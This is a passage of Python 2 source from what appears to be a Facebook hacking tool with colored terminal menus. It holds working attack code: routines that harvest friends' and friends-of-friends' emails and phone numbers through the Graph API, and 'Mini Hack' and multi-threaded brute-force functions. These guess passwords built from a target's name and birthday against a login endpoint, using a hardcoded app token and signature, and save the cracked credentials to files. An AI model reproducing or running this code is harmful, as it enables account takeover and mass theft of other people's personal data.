714 | dump() 715 | except KeyError: 716 | print('\033[1;91m[!] Error') 717 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 718 | dump() 719 | except requests.exceptions.ConnectionError: 720 | print"\033[1;91m[✖] No connection" 721 | exit() 722 | 723 | ##### EMAIL FROM FRIENDS ##### 724 | def email_from_friends(): 725 | os.system('clear') 726 | try: 727 | fb_token=open('login.txt','r').read() 728 | except IOError: 729 | print"\033[1;91m[!] Token not found" 730 | os.system('rm -rf login.txt') 731 | time.sleep(0.01) 732 | login() 733 | try: 734 | os.mkdir('out') 735 | except OSError: 736 | pass 737 | try: 738 | os.system('clear') 739 | logo() 740 | idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") 741 | try: 742 | seat = requests.get("https://graph.facebook.com/"+idt+"?access_token="+fb_token) 743 | op = json.loads(seat.text) 744 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] 745 | except KeyError: 746 | print"\033[1;91m[!] Friend not found" 747 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 748 | dump() 749 | r = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+fb_token) 750 | a = json.loads(r.text) 751 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend email from friend \033[1;97m...') 752 | print 42*"\033[1;97m═" 753 | make_action = open('out/em_friends_from_friends.txt','w') 754 | for i in a['data']: 755 | x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+fb_token) 756 | z = json.loads(x.text) 757 | try: 758 | email_from_friends.append(z['email']) 759 | make_action.write(z['email'] + '\n') 760 | print ("\r\033[1;97m[ \033[1;92m"+str(len(email_from_friends))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['email']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) 761 | except KeyError: 762 | pass 763 | make_action.close() 764 | print 42*"\033[1;97m═" 765 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get email \033[1;97m....' 766 | print"\r\033[1;91m[+] \033[1;92mTotal Email \033[1;91m: \033[1;97m%s"%(len(email_from_friends)) 767 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 768 | os.rename('out/em_friends_from_friends.txt','out/'+done) 769 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 770 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 771 | dump() 772 | except IOError: 773 | print"\033[1;91m[!] Error creating file" 774 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 775 | dump() 776 | except (KeyboardInterrupt,EOFError): 777 | print("\033[1;91m[!] Stopped") 778 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 779 | dump() 780 | except KeyError: 781 | print('\033[1;91m[!] Error') 782 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 783 | dump() 784 | except requests.exceptions.ConnectionError: 785 | print"\033[1;91m[✖] No connection" 786 | exit() 787 | 788 | ##### PHONE NUMBER ##### 789 | def phone_number(): 790 | os.system('clear') 791 | try: 792 | fb_token=open('login.txt','r').read() 793 | except IOError: 794 | print"\033[1;91m[!] Token not found" 795 | os.system('rm -rf login.txt') 796 | time.sleep(0.01) 797 | login() 798 | try: 799 | os.mkdir('out') 800 | except OSError: 801 | pass 802 | try: 803 | os.system('clear') 804 | logo() 805 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend number phone \033[1;97m...') 806 | print 42*"\033[1;97m═" 807 | url= "https://graph.facebook.com/me/friends?access_token="+fb_token 808 | r =requests.get(url) 809 | z=json.loads(r.text) 810 | make_action = open('out/nomer_friends.txt','w') 811 | for n in z["data"]: 812 | x = requests.get("https://graph.facebook.com/"+n['id']+"?access_token="+fb_token) 813 | z = json.loads(x.text) 814 | try: 815 | hp.append(z['mobile_phone']) 816 | make_action.write(z['mobile_phone'] + '\n') 817 | print ("\r\033[1;97m[ \033[1;92m"+str(len(hp))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) 818 | except KeyError: 819 | pass 820 | make_action.close() 821 | print 42*"\033[1;97m═" 822 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get number \033[1;97m....' 823 | print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(hp)) 824 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 825 | os.rename('out/nomer_friends.txt','out/'+done) 826 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 827 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 828 | dump() 829 | except IOError: 830 | print"\033[1;91m[!] Error creating file" 831 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 832 | dump() 833 | except (KeyboardInterrupt,EOFError): 834 | print("\033[1;91m[!] Stopped") 835 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 836 | dump() 837 | except KeyError: 838 | print('\033[1;91m[!] Error') 839 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 840 | dump() 841 | except requests.exceptions.ConnectionError: 842 | print"\033[1;91m[✖] No connection" 843 | exit() 844 | 845 | ##### PHONE NUMBER FROM FRIENDS ##### 846 | def phone_number_from_friends(): 847 | os.system('clear') 848 | try: 849 | fb_token=open('login.txt','r').read() 850 | except IOError: 851 | print"\033[1;91m[!] Token not found" 852 | os.system('rm -rf login.txt') 853 | time.sleep(0.01) 854 | login() 855 | try: 856 | os.mkdir('out') 857 | except OSError: 858 | pass 859 | try: 860 | os.system('clear') 861 | logo() 862 | idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") 863 | try: 864 | seat = requests.get("https://graph.facebook.com/"+idt+"?access_token="+fb_token) 865 | op = json.loads(seat.text) 866 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] 867 | except KeyError: 868 | print"\033[1;91m[!] Friend not found" 869 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 870 | dump() 871 | r = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+fb_token) 872 | a = json.loads(r.text) 873 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend number from friend \033[1;97m...') 874 | print 42*"\033[1;97m═" 875 | make_action = open('out/no_friends_from_friends.txt','w') 876 | for i in a['data']: 877 | x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+fb_token) 878 | z = json.loads(x.text) 879 | try: 880 | hpfromfriends.append(z['mobile_phone']) 881 | make_action.write(z['mobile_phone'] + '\n') 882 | print ("\r\033[1;97m[ \033[1;92m"+str(len(hpfromfriends))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) 883 | except KeyError: 884 | pass 885 | make_action.close() 886 | print 42*"\033[1;97m═" 887 | print '\r\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mSuccessfully get number \033[1;97m....' 888 | print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(hpfromfriends)) 889 | done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") 890 | os.rename('out/no_friends_from_friends.txt','out/'+done) 891 | print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) 892 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 893 | dump() 894 | except IOError: 895 | print"\033[1;91m[!] Error creating file" 896 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 897 | dump() 898 | except (KeyboardInterrupt,EOFError): 899 | print("\033[1;91m[!] Stopped") 900 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 901 | dump() 902 | except KeyError: 903 | print('\033[1;91m[!] Error') 904 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 905 | dump() 906 | except requests.exceptions.ConnectionError: 907 | print"\033[1;91m[✖] No connection" 908 | exit() 909 | 910 | ##### MENU HACK ##### 911 | def menu_hack(): 912 | os.system('clear') 913 | try: 914 | fb_token=open('login.txt','r').read() 915 | except IOError: 916 | print"\033[1;91m[!] Token not found" 917 | os.system('rm -rf login.txt') 918 | time.sleep(0.01) 919 | login() 920 | os.system('clear') 921 | logo() 922 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Mini Hack Facebook(\033[1;92mTarget\033[1;97m)" 923 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Multi Bruteforce Facebook" 924 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m Super Multi Bruteforce Facebook" 925 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m BruteForce(\033[1;92mTarget\033[1;97m)" 926 | print "\033[1;97m║--\033[1;91m> \033[1;92m5.\033[1;97m Yahoo Checker" 927 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 928 | print "║" 929 | choose_hack() 930 | #----choices 931 | def choose_hack(): 932 | hack = raw_input("\033[1;97m╚═\033[1;91m>>> \033[1;97m") 933 | if hack=="": 934 | print "\033[1;91m[!] Wrong input" 935 | choose_hack() 936 | elif hack =="1": 937 | mini() 938 | elif hack =="2": 939 | crack() 940 | success() 941 | elif hack =="3": 942 | super() 943 | elif hack =="4": 944 | brute() 945 | elif hack =="5": 946 | menu_yahoo() 947 | elif hack =="0": 948 | menu() 949 | else: 950 | print "\033[1;91m[!] Wrong input" 951 | choose_hack() 952 | 953 | ##### MINI HF ##### 954 | def mini(): 955 | os.system('clear') 956 | try: 957 | fb_token=open('login.txt','r').read() 958 | except IOError: 959 | print"\033[1;91m[!] Token not found" 960 | os.system('rm -rf login.txt') 961 | time.sleep(0.01) 962 | login() 963 | os.system('clear') 964 | logo() 965 | print "\033[1;97m[\033[1;91mINFO\033[1;97m] \033[1;91mThe target account must be friends\n with your account first!" 966 | print 42*"\033[1;97m═" 967 | try: 968 | id = raw_input("\033[1;91m[+] \033[1;92mTarget ID \033[1;91m:\033[1;97m ") 969 | mkdir('\033[1;91m[✺] \033[1;92mWait a minute \033[1;97m...') 970 | r = requests.get("https://graph.facebook.com/"+id+"?access_token="+fb_token) 971 | a = json.loads(r.text) 972 | print '\033[1;91m[➹] \033[1;92mName\033[1;97m : '+a['name'] 973 | mkdir('\033[1;91m[+] \033[1;92mCheck \033[1;97m...') 974 | time.sleep(2) 975 | mkdir('\033[1;91m[+] \033[1;92mOpen password \033[1;97m...') 976 | time.sleep(2) 977 | print 42*"\033[1;97m═" 978 | pz1 = a['first_name']+'123' 979 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 980 | y = json.load(data) 981 | if 'access_token' in y: 982 | print "\033[1;91m[+] \033[1;92mFound" 983 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 984 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 985 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz1 986 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 987 | menu_hack() 988 | else: 989 | if 'www.facebook.com' in y["error_msg"]: 990 | print "\033[1;91m[+] \033[1;92mFound" 991 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 992 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 993 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 994 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz1 995 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 996 | menu_hack() 997 | else: 998 | pz2 = a['first_name'] + '12345' 999 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1000 | y = json.load(data) 1001 | if 'access_token' in y: 1002 | print "\033[1;91m[+] \033[1;92mFound" 1003 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1004 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1005 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz2 1006 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1007 | menu_hack() 1008 | else: 1009 | if 'www.facebook.com' in y["error_msg"]: 1010 | print "\033[1;91m[+] \033[1;92mFound" 1011 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1012 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1013 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1014 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz2 1015 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1016 | menu_hack() 1017 | else: 1018 | pz3 = a['last_name'] + '123' 1019 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1020 | y = json.load(data) 1021 | if 'access_token' in y: 1022 | print "\033[1;91m[+] \033[1;92mFound" 1023 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1024 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1025 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz3 1026 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1027 | menu_hack() 1028 | else: 1029 | if 'www.facebook.com' in y["error_msg"]: 1030 | print "\033[1;91m[+] \033[1;92mFound" 1031 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1032 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1033 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1034 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz3 1035 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1036 | menu_hack() 1037 | else: 1038 | mode = a['birthday'] 1039 | pz4 = mode.replace('/', '') 1040 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1041 | y = json.load(data) 1042 | if 'access_token' in y: 1043 | print "\033[1;91m[+] \033[1;92mFound" 1044 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1045 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1046 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz4 1047 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1048 | menu_hack() 1049 | else: 1050 | if 'www.facebook.com' in y["error_msg"]: 1051 | print "\033[1;91m[+] \033[1;92mFound" 1052 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1053 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1054 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1055 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz4 1056 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1057 | menu_hack() 1058 | else: 1059 | lahirs = a['birthday'] 1060 | jay = lahirs.replace('/', '') 1061 | pz5 = a['first_name']+jay 1062 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1063 | y = json.load(data) 1064 | if 'access_token' in y: 1065 | print "\033[1;91m[+] \033[1;92mFound" 1066 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1067 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1068 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz5 1069 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1070 | menu_hack() 1071 | else: 1072 | if 'www.facebook.com' in y["error_msg"]: 1073 | print "\033[1;91m[+] \033[1;92mFound" 1074 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1075 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1076 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1077 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz5 1078 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1079 | menu_hack() 1080 | else: 1081 | pz6 = "bintang123" 1082 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1083 | y = json.load(data) 1084 | if 'access_token' in y: 1085 | print "\033[1;91m[+] \033[1;92mFound" 1086 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1087 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1088 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz6 1089 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1090 | menu_hack() 1091 | else: 1092 | if 'www.facebook.com' in y["error_msg"]: 1093 | print "\033[1;91m[+] \033[1;92mFound" 1094 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1095 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1096 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1097 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz6 1098 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1099 | menu_hack() 1100 | else: 1101 | pz7 = "sayang123, sayang, bintang, bajingan, someone, anjing, pukimak, playboy, doraemon, bahagia" 1102 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1103 | y = json.load(data) 1104 | if 'access_token' in y: 1105 | print "\033[1;91m[+] \033[1;92mFound" 1106 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1107 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1108 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz7 1109 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1110 | menu_hack() 1111 | else: 1112 | if 'www.facebook.com' in y["error_msg"]: 1113 | print "\033[1;91m[+] \033[1;92mFound" 1114 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1115 | print "\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] 1116 | print "\033[1;91m[➹] \033[1;92mUsername\033[1;97m : "+id 1117 | print "\033[1;91m[➹] \033[1;92mPassword\033[1;97m : "+pz6 1118 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1119 | menu_hack() 1120 | else: 1121 | print "\033[1;91m[!] Sorry, exit to open the target password :(" 1122 | print "\033[1;91m[!] try it another way." 1123 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1124 | menu_hack() 1125 | except KeyError: 1126 | print "\033[1;91m[!] Terget not found" 1127 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1128 | menu_hack() 1129 | 1130 | 1131 | ##### Multi Brute Force ##### 1132 | ##### CRACK #### 1133 | def crack(): 1134 | global idlist,passw,file 1135 | os.system('clear') 1136 | try: 1137 | fb_token=open('login.txt','r').read() 1138 | except IOError: 1139 | print"\033[1;91m[!] Token not found" 1140 | os.system('rm -rf login.txt') 1141 | time.sleep(1) 1142 | login() 1143 | os.system('clear') 1144 | logo() 1145 | idlist = raw_input('\033[1;91m[+] \033[1;92mFile ID \033[1;91m: \033[1;97m') 1146 | passw = raw_input('\033[1;91m[+] \033[1;92mPassword \033[1;91m: \033[1;97m') 1147 | try: 1148 | file = open((idlist), "r") 1149 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1150 | for x in range(40): 1151 | pick = threading.Thread(target=scrak, args=()) 1152 | pick.start() 1153 | threads.append(pick) 1154 | for pick in threads: 1155 | pick.join() 1156 | except IOError: 1157 | print ("\033[1;91m[!] File not found") 1158 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1159 | menu_hack() 1160 | 1161 | def scrak(): 1162 | global sucessful,checkpoint,action_failed,back,up 1163 | try: 1164 | os.mkdir('out') 1165 | except OSError: 1166 | pass 1167 | try: 1168 | open_it = open(idlist, "r") 1169 | up = open_it.read().split() 1170 | while file: 1171 | username = file.readline().strip() 1172 | url = "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(username)+"&locale=en_US&password="+(passw)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" 1173 | data = urllib.urlopen(url) 1174 | mpsh = json.load(data) 1175 | if back == (len(up)): 1176 | break 1177 | if 'access_token' in mpsh: 1178 | bisa = open("out/mbf_ok.txt", "w") 1179 | bisa.write(username+"|"+passw+"\n") 1180 | bisa.close() 1181 | x = requests.get("https://graph.facebook.com/"+username+"?access_token="+mpsh['access_token']) 1182 | z = json.loads(x.text) 1183 | sucessful.append("\033[1;97m[ \033[1;92mOK✓\033[1;97m ] "+username+"|" +passw+" =>"+z['name']) 1184 | elif 'www.facebook.com' in mpsh["error_msg"]: 1185 | check_it = open("out/mbf_cp.txt", "w") 1186 | check_it.write(username+"|"+passw+"\n") 1187 | check_it.close() 1188 | checkpoint.append("\033[1;97m[ \033[1;93mCP✚\033[1;97m ] "+username+"|" +passw) 1189 | else: 1190 | action_failed.append(username) 1191 | back +=1 1192 | sys.stdout.write('\r\033[1;91m[\033[1;96m✸\033[1;91m] \033[1;92mCrack \033[1;91m:\033[1;97m '+str(back)+' \033[1;96m>\033[1;97m '+str(len(up))+' =>\033[1;92mLive\033[1;91m:\033[1;96m'+str(len(sucessful))+' \033[1;97m=>\033[1;93mCheck\033[1;91m:\033[1;96m'+str(len(checkpoint)));sys.stdout.flush() 1193 | except IOError: 1194 | print"\n\033[1;91m[!] Sleep" 1195 | time.sleep(0.01) 1196 | except requests.exceptions.ConnectionError: 1197 | print"\033[1;91m[✖] No connection" 1198 | 1199 | def success(): 1200 | print 1201 | print 42*"\033[1;97m═" 1202 | ###sucessful 1203 | for b in sucessful: 1204 | print(b) 1205 | ###CHECK 1206 | for c in checkpoint: 1207 | print(c) 1208 | ###action_failed 1209 | print 42*"\033[1;97m═" 1210 | print ("\033[31m[x] Failed \033[1;97m--> " + str(len(action_failed))) 1211 | exit() 1212 | 1213 | ############### SUPER MBF ################ 1214 | def super(): 1215 | global fb_token 1216 | os.system('clear') 1217 | try: 1218 | fb_token=open('login.txt','r').read() 1219 | except IOError: 1220 | print"\033[1;91m[!] Token not found" 1221 | os.system('rm -rf login.txt') 1222 | time.sleep(0.0) 1223 | login() 1224 | os.system('clear') 1225 | logo() 1226 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Crack with list friend" 1227 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Crack from friend" 1228 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m Crack from member group" 1229 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m Crack from File" 1230 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 1231 | print "║" 1232 | choices_super() 1233 | 1234 | def choices_super(): 1235 | peak = raw_input("\033[1;97m╚═\033[1;91m>>> \033[1;97m") 1236 | if peak =="": 1237 | print "\033[1;91m[!] Wrong input" 1238 | choices_super() 1239 | elif peak =="1": 1240 | os.system('clear') 1241 | logo() 1242 | mkdir('\033[1;91m[✺] \033[1;92mGet all friend id \033[1;97m...') 1243 | r = requests.get("https://graph.facebook.com/me/friends?access_token="+fb_token) 1244 | z = json.loads(r.text) 1245 | for s in z['data']: 1246 | id.append(s['id']) 1247 | elif peak =="2": 1248 | os.system('clear') 1249 | logo() 1250 | idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") 1251 | try: 1252 | seat = requests.get("https://graph.facebook.com/"+idt+"?access_token="+fb_token) 1253 | op = json.loads(seat.text) 1254 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] 1255 | except KeyError: 1256 | print"\033[1;91m[!] Friend not found" 1257 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1258 | super() 1259 | mkdir('\033[1;91m[✺] \033[1;92mGet all id from friend \033[1;97m...') 1260 | r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+fb_token) 1261 | z = json.loads(r.text) 1262 | for i in z['data']: 1263 | id.append(i['id']) 1264 | elif peak =="3": 1265 | os.system('clear') 1266 | logo() 1267 | idg=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') 1268 | try: 1269 | r=requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+fb_token) 1270 | asw=json.loads(r.text) 1271 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 1272 | except KeyError: 1273 | print"\033[1;91m[!] Group not found" 1274 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1275 | super() 1276 | mkdir('\033[1;91m[✺] \033[1;92mGet group member id \033[1;97m...') 1277 | re=requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=9999999999999&access_token='+fb_token) 1278 | s=json.loads(re.text) 1279 | for p in s['data']: 1280 | id.append(p['id']) 1281 | elif peak == "4": 1282 | os.system('clear') 1283 | logo() 1284 | try: 1285 | idlist = raw_input('\033[1;91m[+] \033[1;92mFile ID \033[1;91m: \033[1;97m') 1286 | for line in open(idlist,'r').readlines(): 1287 | id.append(line.strip()) 1288 | except KeyError: 1289 | print '\033[1;91m[!] File not found' 1290 | raw_input('\n\033[1;91m[ \033[1;97mBack \033[1;91m]') 1291 | super() 1292 | elif peak =="0": 1293 | menu_hack() 1294 | else: 1295 | print "\033[1;91m[!] Wrong input" 1296 | choices_super() 1297 | 1298 | print "\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m"+str(len(id)) 1299 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1300 | tiload = ['. ','.. ','... '] 1301 | for o in tiload: 1302 | print("\r\033[1;91m[\033[1;96m✸\033[1;91m] \033[1;92mCrack \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) 1303 | print 1304 | print 42*"\033[1;97m═" 1305 | 1306 | 1307 | ##### crack ##### 1308 | def main(arg): 1309 | global checkpoint,oks 1310 | user = arg 1311 | try: 1312 | os.mkdir('out') 1313 | except OSError: 1314 | pass 1315 | try: 1316 | #Pass1 1317 | a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+fb_token) 1318 | b = json.loads(a.text) 1319 | pass1 = b['first_name']+'123' 1320 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1321 | q = json.load(data) 1322 | if 'access_token' in q: 1323 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1324 | z = json.loads(x.text) 1325 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass1+" =>"+z['name']) 1326 | oks.append(user+pass1) 1327 | else: 1328 | if 'www.facebook.com' in q["error_msg"]: 